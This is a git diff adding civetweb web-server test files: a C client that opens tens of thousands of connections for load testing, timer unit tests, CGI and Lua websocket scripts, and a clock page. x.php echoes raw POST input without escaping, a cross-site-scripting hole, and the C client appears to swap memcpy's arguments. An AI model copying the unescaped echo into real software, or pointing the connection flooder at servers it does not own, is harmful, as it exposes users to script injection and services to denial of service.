+#include <time.h> + +#if defined(_WIN32) || defined(WIN32) +#include <windows.h> +void INIT(void) {WSADATA wsaData; WSAStartup(MAKEWORD(2,2), &wsaData);} +#else +#define INIT() +#include <unistd.h> +#include <netdb.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <netinet/in.h> +#endif + +int connect_to_server(const struct sockaddr_in * serv_addr) +{ + int sockfd; + + /* Create a socket */ + sockfd = socket(AF_INET, SOCK_STREAM, 0); + if (sockfd < 0) { + perror("ERROR opening socket"); + return -1; + } + + /* Connect to the server */ + if (connect(sockfd, (const sockaddr *)serv_addr, sizeof(*serv_addr)) < 0) { + perror("ERROR connecting"); + close(sockfd); + return -2; + } + + return sockfd; +} + +int send_to_server(int conn, const char * request) +{ + int req_len = strlen(request); + int n; + + n = write(conn, request, req_len); + if (n < 0) { + perror("ERROR writing to socket"); + return 0; + } + + return (n==req_len); +} + +int read_from_server(int conn) +{ + char rbuffer[1024]; + int n; + long ret; + + n = read(conn, rbuffer, sizeof(rbuffer)); + if (n < 0) { + perror("ERROR reading from socket"); + return 0; + } + + if (strncmp("HTTP/1.", rbuffer, 7)) { + perror("ERROR not a HTTP response"); + return 0; + } + + ret = atol(rbuffer + 9); + + return ret; +} + + +int main(int argc, char *argv[]) +{ + long portno; + int i, con_count=1; + time_t t1,t2,t3,t4; + char wbuffer[256]; + int connlist[1024*65]; + int result[1024*65]; + struct hostent *server; + struct sockaddr_in serv_addr; + + INIT(); + + if (argc != 4) { + fprintf(stderr,"Usage:\n\t%s hostname port clients\n\n", argv[0]); + exit(0); + } + + con_count = atol(argv[3]); + if (con_count<1) con_count=1; + if (con_count>1024*65) con_count=1024*65; + + portno = atol(argv[2]); + if (portno<1l || portno>0xFFFFl) { + fprintf(stderr, "ERROR, invalid port\n"); + exit(0); + } + + server = gethostbyname(argv[1]); + if (server == NULL) { + fprintf(stderr, "ERROR, no such host\n"); + exit(0); + } + + memset(&serv_addr, 0, sizeof(serv_addr)); + serv_addr.sin_family = AF_INET; + memcpy(server->h_addr, &serv_addr.sin_addr.s_addr, server->h_length); + serv_addr.sin_port = htons((short)portno); + + sprintf(wbuffer, "GET / HTTP/1.0\r\n\r\n"); + + t1 = time(0); + for (i=0;i<con_count;i++) { + result[i] = connlist[i] = connect_to_server(&serv_addr); + } + t2 = time(0); + for (i=0;i<con_count;i++) { + if (result[i]>=0) { + result[i] = send_to_server(connlist[i], wbuffer); + } + } + t3 = time(0); + for (i=0;i<con_count;i++) { + if (result[i]>=0) { + result[i] = read_from_server(connlist[i]); + } + } + t4 = time(0); + + printf("\n"); + printf("conn: %.0lf\n", difftime(t2,t1)); + printf("write: %.0lf\n", difftime(t3,t2)); + printf("read: %.0lf\n", difftime(t4,t3)); + + for (i=-10;i<1000;i++) { + int j,cnt=0; + for(j=0;j<con_count;j++) { + if (result[j]==i) cnt++; + } + if (cnt>0) { + printf("%5i\t%7i\n", i, cnt); + } + } + + return 0; +} + + diff --git a/src/civetweb/test/timeout.cgi b/src/civetweb/test/timeout.cgi new file mode 100755 index 000000000..324820562 --- /dev/null +++ b/src/civetweb/test/timeout.cgi @@ -0,0 +1,12 @@ +#!/usr/bin/env perl + +# Make stdout unbuffered +use FileHandle; +STDOUT->autoflush(1); + +# This script outputs some content, then sleeps for 5 seconds, then exits. +# Web server should return the content immediately after it is sent, +# not waiting until the script exits. +print "Content-Type: text/html\r\n\r\n"; +print "Some data"; +sleep 3; diff --git a/src/civetweb/test/timertest.c b/src/civetweb/test/timertest.c new file mode 100644 index 000000000..3ee98dce6 --- /dev/null +++ b/src/civetweb/test/timertest.c @@ -0,0 +1,350 @@ +/* Copyright (c) 2016-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/** + * We include the source file so that we have access to the internal private + * static functions + */ +#ifdef _MSC_VER +#ifndef _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS +#endif +#endif + +#if defined(__GNUC__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wunused-function" +#endif + +#define CIVETWEB_API static +#define USE_TIMERS + +#include "../src/civetweb.c" + +#include <stdlib.h> +#include <time.h> + +#include "timertest.h" + +static int action_dec_ret; + +static int +action_dec(void *arg) +{ + int *p = (int *)arg; + (*p)--; + + if (*p < -1) { + ck_abort_msg("Periodic timer called too often"); + /* return 0 here would be unreachable code */ + } + + return (*p >= -3) ? action_dec_ret : 0; +} + + +static int +action_dec_to_0(void *arg) +{ + int *p = (int *)arg; + (*p)--; + + if (*p <= -1) { + ck_abort_msg("Periodic timer called too often"); + /* return 0 here would be unreachable code */ + } + + return (*p > 0); +} + + +START_TEST(test_timer_cyclic) +{ + struct mg_context ctx; + int c[10]; + memset(&ctx, 0, sizeof(ctx)); + memset(c, 0, sizeof(c)); + + action_dec_ret = 1; + + mark_point(); + timers_init(&ctx); + mg_sleep(100); + mark_point(); + + c[0] = 100; + timer_add(&ctx, 0.05, 0.1, 1, action_dec, c + 0); + c[2] = 20; + timer_add(&ctx, 0.25, 0.5, 1, action_dec, c + 2); + c[1] = 50; + timer_add(&ctx, 0.1, 0.2, 1, action_dec, c + 1); + + mark_point(); + + mg_sleep(10000); /* Sleep 10 second - timers will run */ + + mark_point(); + ctx.stop_flag = 99; /* End timer thread */ + mark_point(); + + mg_sleep(2000); /* Sleep 2 second - timers will not run */ + + mark_point(); + + timers_exit(&ctx); + + mark_point(); + + /* If this test runs in a virtual environment, like the CI unit test + * containers, there might be some timing deviations, so check the + * counter with some tolerance. */ + + ck_assert_int_ge(c[0], -1); + ck_assert_int_le(c[0], +1); + ck_assert_int_ge(c[1], -1); + ck_assert_int_le(c[1], +1); + ck_assert_int_ge(c[2], -1); + ck_assert_int_le(c[2], +1); +} +END_TEST + + +START_TEST(test_timer_oneshot_by_callback_retval) +{ + struct mg_context ctx; + int c[10]; + memset(&ctx, 0, sizeof(ctx)); + memset(c, 0, sizeof(c)); + + action_dec_ret = 0; + + mark_point(); + timers_init(&ctx); + mg_sleep(100); + mark_point(); + + c[0] = 10; + timer_add(&ctx, 0, 0.1, 1, action_dec, c + 0); + c[2] = 2; + timer_add(&ctx, 0, 0.5, 1, action_dec, c + 2); + c[1] = 5; + timer_add(&ctx, 0, 0.2, 1, action_dec, c + 1); + + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will run */ + + mark_point(); + ctx.stop_flag = 99; /* End timer thread */ + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will not run */ + + mark_point(); + + timers_exit(&ctx); + + mark_point(); + mg_sleep(100); + + ck_assert_int_eq(c[0], 9); + ck_assert_int_eq(c[1], 4); + ck_assert_int_eq(c[2], 1); +} +END_TEST + + +START_TEST(test_timer_oneshot_by_timer_add) +{ + struct mg_context ctx; + int c[10]; + memset(&ctx, 0, sizeof(ctx)); + memset(c, 0, sizeof(c)); + + action_dec_ret = 1; + + mark_point(); + timers_init(&ctx); + mg_sleep(100); + mark_point(); + + c[0] = 10; + timer_add(&ctx, 0, 0, 1, action_dec, c + 0); + c[2] = 2; + timer_add(&ctx, 0, 0, 1, action_dec, c + 2); + c[1] = 5; + timer_add(&ctx, 0, 0, 1, action_dec, c + 1); + + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will run */ + + mark_point(); + ctx.stop_flag = 99; /* End timer thread */ + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will not run */ + + mark_point(); + + timers_exit(&ctx); + + mark_point(); + mg_sleep(100); + + ck_assert_int_eq(c[0], 9); + ck_assert_int_eq(c[1], 4); + ck_assert_int_eq(c[2], 1); +} +END_TEST + + +START_TEST(test_timer_mixed) +{ + struct mg_context ctx; + int c[10]; + memset(&ctx, 0, sizeof(ctx)); + memset(c, 0, sizeof(c)); + + mark_point(); + timers_init(&ctx); + mg_sleep(100); + mark_point(); + + /* 3 --> 2, because it is a single shot timer */ + c[0] = 3; + timer_add(&ctx, 0, 0, 1, action_dec_to_0, &c[0]); + + /* 3 --> 0, because it will run until c[1] = 0 and then stop */ + c[1] = 3; + timer_add(&ctx, 0, 0.2, 1, action_dec_to_0, &c[1]); + + /* 3 --> 1, with 750 ms period, it will run once at start, + * then once 750 ms later, but not 1500 ms later, since the + * timer is already stopped then. */ + c[2] = 3; + timer_add(&ctx, 0, 0.75, 1, action_dec_to_0, &c[2]); + + /* 3 --> 2, will run at start, but no cyclic in 1 second */ + c[3] = 3; + timer_add(&ctx, 0, 2.5, 1, action_dec_to_0, &c[3]); + + /* 3 --> 3, will not run at start */ + c[4] = 3; + timer_add(&ctx, 2.5, 0.1, 1, action_dec_to_0, &c[4]); + + /* 3 --> 2, an absolute timer in the past (-123.456) will still + * run once at start, and then with the period */ + c[5] = 3; + timer_add(&ctx, -123.456, 2.5, 0, action_dec_to_0, &c[5]); + + /* 3 --> 1, an absolute timer in the past (-123.456) will still + * run once at start, and then with the period */ + c[6] = 3; + timer_add(&ctx, -123.456, 0.75, 0, action_dec_to_0, &c[6]); + + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will run */ + + mark_point(); + ctx.stop_flag = 99; /* End timer thread */ + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will not run */ + + mark_point(); + + timers_exit(&ctx); + + mark_point(); + mg_sleep(100); + + ck_assert_int_eq(c[0], 2); + ck_assert_int_eq(c[1], 0); + ck_assert_int_eq(c[2], 1); + ck_assert_int_eq(c[3], 2); + ck_assert_int_eq(c[4], 3); + ck_assert_int_eq(c[5], 2); + ck_assert_int_eq(c[6], 1); +} +END_TEST + + +#if !defined(REPLACE_CHECK_FOR_LOCAL_DEBUGGING) +Suite * +make_timertest_suite(void) +{ + Suite *const suite = suite_create("Timer"); + + TCase *const tcase_timer_cyclic = tcase_create("Timer Periodic"); + TCase *const tcase_timer_oneshot = tcase_create("Timer Single Shot"); + TCase *const tcase_timer_mixed = tcase_create("Timer Mixed"); + + tcase_add_test(tcase_timer_cyclic, test_timer_cyclic); + tcase_set_timeout(tcase_timer_cyclic, 30); + suite_add_tcase(suite, tcase_timer_cyclic); + + tcase_add_test(tcase_timer_oneshot, test_timer_oneshot_by_timer_add); + tcase_add_test(tcase_timer_oneshot, test_timer_oneshot_by_callback_retval); + tcase_set_timeout(tcase_timer_oneshot, 30); + suite_add_tcase(suite, tcase_timer_oneshot); + + tcase_add_test(tcase_timer_mixed, test_timer_mixed); + tcase_set_timeout(tcase_timer_mixed, 30); + suite_add_tcase(suite, tcase_timer_mixed); + + return suite; +} +#endif + + +#ifdef REPLACE_CHECK_FOR_LOCAL_DEBUGGING +/* Used to debug test cases without using the check framework */ + +void +TIMER_PRIVATE(void) +{ + unsigned f_avail; + unsigned f_ret; + +#if defined(_WIN32) + WSADATA data; + WSAStartup(MAKEWORD(2, 2), &data); +#endif + + f_avail = mg_check_feature(0xFF); + f_ret = mg_init_library(f_avail); + ck_assert_uint_eq(f_ret, f_avail); + + test_timer_cyclic(0); + test_timer_oneshot_by_timer_add(0); + test_timer_oneshot_by_callback_retval(0); + test_timer_mixed(0); + + mg_exit_library(); + +#if defined(_WIN32) + WSACleanup(); +#endif +} + +#endif diff --git a/src/civetweb/test/timertest.h b/src/civetweb/test/timertest.h new file mode 100644 index 000000000..844a01b0a --- /dev/null +++ b/src/civetweb/test/timertest.h @@ -0,0 +1,28 @@ +/* Copyright (c) 2015 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_TIMER_H_ +#define TEST_TIMER_H_ + +#include "civetweb_check.h" + +Suite *make_timertest_suite(void); + +#endif /* TEST_TIMER_H_ */ diff --git a/src/civetweb/test/websocket.lua b/src/civetweb/test/websocket.lua new file mode 100644 index 000000000..7338ed874 --- /dev/null +++ b/src/civetweb/test/websocket.lua @@ -0,0 +1,118 @@ +timerID = "timeout" +--timerID = "interval" + +function trace(text) + local f = io.open("websocket.trace", "a") + f:write(os.date() .. " - " .. text .. "\n") + f:close() +end + +function iswebsocket() + return mg.lua_type == "websocket" + --return pcall(function() + -- if (string.upper(mg.request_info.http_headers.Upgrade)~="WEBSOCKET") then error("") end + --end) +end + +trace("called with Lua type " .. tostring(mg.lua_type)) + +if not iswebsocket() then + trace("no websocket") + mg.write("HTTP/1.0 403 Forbidden\r\n") + mg.write("Connection: close\r\n") + mg.write("\r\n") + mg.write("forbidden") + return +end + + +-- Serialize table to string +function ser(val) + local t + if type(val) == "table" then + for k,v in pairs(val) do + if t then + t = t .. ", " .. ser(k) .. "=" .. ser(v) + else + t = "{" .. ser(k) .. "=" .. ser(v) + end + end + t = t .. "}" + else + t = tostring(val) + end + return t +end + +-- table of all active connection +allConnections = {} + +-- function to get a client identification string +function who(tab) + local ri = allConnections[tab.client].request_info + return ri.remote_addr .. ":" .. ri.remote_port +end + +-- Callback to accept or reject a connection +function open(tab) + allConnections[tab.client] = tab + trace("open[" .. who(tab) .. "]: " .. ser(tab)) + return true -- return true to accept the connection +end + +-- Callback for "Websocket ready" +function ready(tab) + trace("ready[" .. who(tab) .. "]: " .. ser(tab)) + mg.write(tab.client, "text", "Websocket ready") + mg.write(tab.client, 1, "-->h 180"); + mg.write(tab.client, "-->m 180"); + senddata() + if timerID == "timeout" then + mg.set_timeout("timer()", 1) + elseif timerID == "interval" then + mg.set_interval("timer()", 1) + end + return true -- return true to keep the connection open +end + +-- Callback for "Websocket received data" +function data(tab) + trace("data[" .. who(tab) .. "]: " .. ser(tab)) + senddata() + return true -- return true to keep the connection open +end + +-- Callback for "Websocket is closing" +function close(tab) + trace("close[" .. who(tab) .. "]: " .. ser(tab)) + mg.write("text", "end") + allConnections[tab.client] = nil +end + +function senddata() + local date = os.date('*t'); + local hand = (date.hour%12)*60+date.min; + + mg.write("text", string.format("%u:%02u:%02u", date.hour, date.min, date.sec)); + + if (hand ~= lasthand) then + mg.write(1, string.format("-->h %u", hand*360/(12*60))); + mg.write( string.format("-->m %u", date.min*360/60)); + lasthand = hand; + end + + if bits and content then + data(bits, content) + end +end + +function timer() + trace("timer") + senddata() + if timerID == "timeout" then + mg.set_timeout("timer()", 1) + else + return true -- return true to keep an interval timer running + end +end + diff --git a/src/civetweb/test/websocket.xhtml b/src/civetweb/test/websocket.xhtml new file mode 100644 index 000000000..3e0828f17 --- /dev/null +++ b/src/civetweb/test/websocket.xhtml @@ -0,0 +1,117 @@ +<!DOCTYPE HTML>
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+ <meta charset="UTF-8"></meta>
+ <title>Websocket test</title>
+ <style type="text/css" media="screen">
+ body { background:#eee; margin:0 }
+ .main {
+ display:block; border:1px solid #ccc; position:absolute;
+ top:5%; left:5%; width:90%; height:90%; background:#fff;
+ }
+ </style>
+</head>
+<body>
+ <script type="text/javascript"><![CDATA[
+
+ var connection;
+ var websock_text_field;
+ var hand_hour;
+ var hand_min;
+
+ function queryStringElem(name, idx) {
+ if (typeof(queryStringElem_Table) != "object") {
+ queryStringElem_Table = {};
+ window.location.search.slice(1).split('&').forEach(
+ function(keyValuePair) {
+ keyValuePair = keyValuePair.split('=');
+ if (typeof(queryStringElem_Table[keyValuePair[0]]) != "object") {
+ queryStringElem_Table[keyValuePair[0]] = [];
+ }
+ var idx = queryStringElem_Table[keyValuePair[0]].length+1;
+ queryStringElem_Table[keyValuePair[0]][idx] = keyValuePair[1] || '';
+ }
+ );
+ }
+ idx = idx || 1;
+ if (queryStringElem_Table[name]) {
+ return queryStringElem_Table[name][idx];
+ }
+ return null;
+ }
+
+ function webSockKeepAlive() {
+ if (keepAlive) {
+ connection.send('client still alive');
+ console.log('send keep alive')
+ setTimeout("webSockKeepAlive()", 10000);
+ }
+ }
+
+ function load() {
+ var wsproto = (location.protocol === 'https:') ? "wss:" : "ws:";
+ connection = new WebSocket(wsproto + "//" + window.location.host + "/websocket.lua");
+ websock_text_field = document.getElementById('websock_text_field');
+ hand_min = document.getElementById('hand_min');
+ hand_hour = document.getElementById('hand_hour');
+
+ var ka = queryStringElem("keepAlive");
+ if (ka) {
+ ka = ka.toLowerCase();
+ use_keepAlive = (ka!="false") && (ka!="f") && (ka!="no") && (ka!="n") && (ka!=0);
+ } else {
+ use_keepAlive = true;
+ }
+
+ connection.onopen = function () {
+ keepAlive = use_keepAlive;
+ webSockKeepAlive();
+ };
+
+ // Log errors
+ connection.onerror = function (error) {
+ keepAlive = false;
+ alert("WebSocket error");
+ connection.close();
+ };
+
+ // Log messages from the server
+ connection.onmessage = function (e) {
+ var lCmd = e.data.substring(0,3);
+ if (lCmd == "-->") {
+ console.log(e.data);
+ var lDirection = Number(e.data.substring(5));
+ if (e.data[3] == 'h') {
+ hand_hour.setAttribute("transform", "rotate(" + lDirection + " 800 600)");
+ }
+ if (e.data[3] == 'm') {
+ hand_min.setAttribute("transform", "rotate(" + lDirection + " 800 600)");
+ }
+ } else {
+ websock_text_field.textContent = e.data;
+ }
+ };
+
+ console.log("load");
+ }
+
+ ]]></script>
+
+<svg class="main"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ version="1.1"
+ xmlns:xlink="http://www.w3.org/1999/xlink"
+ viewBox="0 0 1600 1200" preserveAspectRatio="xMinYMin meet"
+ onload="load()"
+ >
+
+ <circle id="line_a" cx="800" cy="600" r="500" style="stroke:rgb(255,0,0); stroke-width:5; fill:rgb(200,200,200)"/>
+ <polygon points="800,200 900,300 850,300 850,600 750,600 750,300 700,300" style="fill:rgb(100,0,0)" transform="rotate(0,800,600)" id="hand_hour"/>
+ <polygon points="800,100 840,200 820,200 820,600 780,600 780,200 760,200" style="fill:rgb(0,100,0)" transform="rotate(0,800,600)" id="hand_min"/>
+ <text id="websock_text_field" x="800" y="600" text-anchor="middle" font-size="50px" fill="red">No websocket connection yet</text>
+
+</svg>
+
+</body>
+</html>
diff --git a/src/civetweb/test/windows.cgi b/src/civetweb/test/windows.cgi new file mode 100644 index 000000000..d8aaabce2 --- /dev/null +++ b/src/civetweb/test/windows.cgi @@ -0,0 +1,2 @@ +#!windows.cgi.cmd
+
diff --git a/src/civetweb/test/windows.cgi.cmd b/src/civetweb/test/windows.cgi.cmd new file mode 100644 index 000000000..779abad01 --- /dev/null +++ b/src/civetweb/test/windows.cgi.cmd @@ -0,0 +1,7 @@ +@echo off +@rem echo HTTP/1.1 200 OK -- sent by framework +echo Connection: close +echo. +echo CGI test: +echo. +set diff --git a/src/civetweb/test/windows_fail.cgi b/src/civetweb/test/windows_fail.cgi new file mode 100644 index 000000000..606fbd23f --- /dev/null +++ b/src/civetweb/test/windows_fail.cgi @@ -0,0 +1,2 @@ +#!r:\windows_fail.cgi.cmd
+
diff --git a/src/civetweb/test/windows_fail.cgi.cmd b/src/civetweb/test/windows_fail.cgi.cmd new file mode 100644 index 000000000..715c0619d --- /dev/null +++ b/src/civetweb/test/windows_fail.cgi.cmd @@ -0,0 +1,2 @@ +@echo off +echo Some error sent to stderr 1>&2 diff --git a/src/civetweb/test/windows_fail_silent.cgi b/src/civetweb/test/windows_fail_silent.cgi new file mode 100644 index 000000000..198225aed --- /dev/null +++ b/src/civetweb/test/windows_fail_silent.cgi @@ -0,0 +1,2 @@ +#!r:\windows_fail_silent.cgi.cmd
+
diff --git a/src/civetweb/test/windows_fail_silent.cgi.cmd b/src/civetweb/test/windows_fail_silent.cgi.cmd new file mode 100644 index 000000000..bb2bf1bad --- /dev/null +++ b/src/civetweb/test/windows_fail_silent.cgi.cmd @@ -0,0 +1,3 @@ +@echo off +echo not a complete header +echo and nothing sent to stderr diff --git a/src/civetweb/test/ws_status.lua b/src/civetweb/test/ws_status.lua new file mode 100644 index 000000000..a19505b23 --- /dev/null +++ b/src/civetweb/test/ws_status.lua @@ -0,0 +1,137 @@ +if mg.lua_type ~= "websocket" then + mg.write("HTTP/1.0 200 OK\r\n") + mg.write("Connection: close\r\n") + mg.write("\r\n") + mg.write("<!DOCTYPE HTML>\r\n") + mg.write("<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n") + mg.write("<head>\r\n") + mg.write("<meta charset=\"UTF-8\"></meta>\r\n") + mg.write("<title>Server stats</title>\r\n") + mg.write("</head>\r\n") + mg.write("<body onload=\"load()\">\r\n") + mg.write([====[ + <script type="text/javascript"> + + var connection; + var data_field; + + function webSockKeepAlive() { + if (keepAlive) { + connection.send('Ok'); + setTimeout("webSockKeepAlive()", 10000); + } + } + + function load() { + var wsproto = (location.protocol === 'https:') ? "wss:" : "ws:"; + connection = new WebSocket(wsproto + "//" + window.location.host + window.location.pathname); + data_field = document.getElementById('data'); + + data_field.innerHTML = "wait for data"; + + use_keepAlive = true; + + connection.onopen = function () { + keepAlive = use_keepAlive; + webSockKeepAlive(); + }; + + // Log errors + connection.onerror = function (error) { + keepAlive = false; + alert("WebSocket error"); + connection.close(); + }; + + // Log messages from the server + connection.onmessage = function (e) { + data_field.innerHTML = e.data; + }; + } + +</script> +]====]) + + mg.write("<div id='data'>Wait for page load</div>\r\n") + mg.write("</body>\r\n") + mg.write("</html>\r\n") + return +end + + +function table.count(tab) + local count = 0 + for _ in pairs(tab) do + count = count + 1 + end + return count +end + + +-- table of all active connection +allConnections = {} +connCount = table.count(allConnections) + + +-- function to get a client identification string +function who(tab) + local ri = allConnections[tab.client].request_info + return ri.remote_addr .. ":" .. ri.remote_port +end + +-- Callback to accept or reject a connection +function open(tab) + allConnections[tab.client] = tab + connCount = table.count(allConnections) + return true -- return true to accept the connection +end + +-- Callback for "Websocket ready" +function ready(tab) + senddata() + return true -- return true to keep the connection open +end + +-- Callback for "Websocket received data" +function data(tab) + senddata() + return true -- return true to keep the connection open +end + +-- Callback for "Websocket is closing" +function close(tab) + allConnections[tab.client] = nil + connCount = table.count(allConnections) +end + +function senddata() + local date = os.date('*t'); + + collectgarbage("collect"); -- Avoid adding uncollected Lua memory from this state + + mg.write(string.format([[ +{"Time": "%u:%02u:%02u", + "Date": "%04u-%02u-%02u", + "Context": %s, + "Common": %s, + "System": \"%s\", + "ws_status": {"Memory": %u, "Connections": %u} +}]], +date.hour, date.min, date.sec, +date.year, date.month, date.day, +mg.get_info("context"), +mg.get_info("common"), +mg.get_info("system"), +collectgarbage("count")*1024, +connCount +)); + +end + +function timer() + senddata() + mg.set_timeout("timer()", 1) +end + +mg.set_timeout("timer()", 1) + diff --git a/src/civetweb/test/x.php b/src/civetweb/test/x.php new file mode 100644 index 000000000..cd3284297 --- /dev/null +++ b/src/civetweb/test/x.php @@ -0,0 +1,9 @@ +<html> + <form method="post"> + <input name="x" type="text" /> + <input type="submit" /> + </form> + + <? echo $_POST["x"]; ?> + +</html> |